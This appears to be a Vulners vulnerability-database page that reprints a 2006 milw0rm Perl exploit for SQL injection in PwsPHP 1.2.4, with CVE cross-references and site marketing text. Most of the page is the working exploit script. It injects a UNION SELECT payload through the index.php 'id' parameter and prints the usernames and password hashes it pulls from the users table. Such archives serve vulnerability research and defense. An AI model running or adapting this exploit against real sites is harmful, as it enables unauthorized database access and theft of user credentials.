PwsPHP 1.2.3 - 'index.php' SQL Injection
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2006-0668 | 13 Feb 200622:00 | – | cve | |
| CVE-2006-0943 | 1 Mar 200602:00 | – | cve | |
| CVE-2006-0668 | 13 Feb 200622:00 | – | cvelist | |
| CVE-2006-0943 | 1 Mar 200602:00 | – | cvelist | |
| EUVD-2006-0675 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2006-0946 | 7 Oct 202500:30 | – | euvd | |
| CVE-2006-0668 | 13 Feb 200622:02 | – | nvd | |
| CVE-2006-0943 | 1 Mar 200602:02 | – | nvd | |
| Sql injection | 13 Feb 200622:02 | – | prion | |
| Sql injection | 1 Mar 200602:02 | – | prion |
10
#!/usr/bin/perl
#
# PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)
# ported by str0ke (milw0rm.com)
use LWP::Simple;
$serv = $ARGV[0];
$path = $ARGV[1];
sub usage
{
print "\nPwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\n";
print "Discovered by: papipsycho (papipsycho.com)\n";
print "Ported by str0ke (milw0rm.com)\n";
print "Usage: $0 www.example.com /directory/\n";
print "sever - URL\n";
print "path - path to index.php\n";
exit ();
}
sub exploit
{
print qq(
PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
Discovered by: papipsycho (papipsycho.com)
Ported by str0ke (milw0rm.com)\n\n);
$string= "index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*";
$url = sprintf("http://%s%s%s",$serv,$path,$string);
$content = get "$url";
@contents = split(/\n/, $content);
foreach $line (@contents) {
if ($line =~ /(\<center\>\<b\>)(.*?)(\<\/b\>\<\/center\>\<br\>\<br\>)/){&username;}
if ($line =~ /(\<td\>)(\w{32})(\<\/td\>)/){&password;}
}
}
sub username { print "[*] Username: $2\n";}
sub password { print "[*] Hash: $2\n\n";}
if (@ARGV != 2){&usage;}else{&exploit;}
# milw0rm.com [2006-02-25]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Feb 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01236